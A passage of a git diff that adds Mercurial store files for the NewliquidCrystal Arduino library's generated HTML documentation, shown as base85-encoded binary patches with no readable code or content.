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 T@*qfy`s`xp8jX4a!b$!Q{t+kN literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0b7d152e98e6cebaeabaf0fe8f84f3cf7a32c667 GIT binary patch literal 3487 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 K!1@auY^;I?Kz}9x literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b56a0cc32a07d9f774c806c7aa7ab78486003c82 GIT binary patch literal 2491 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 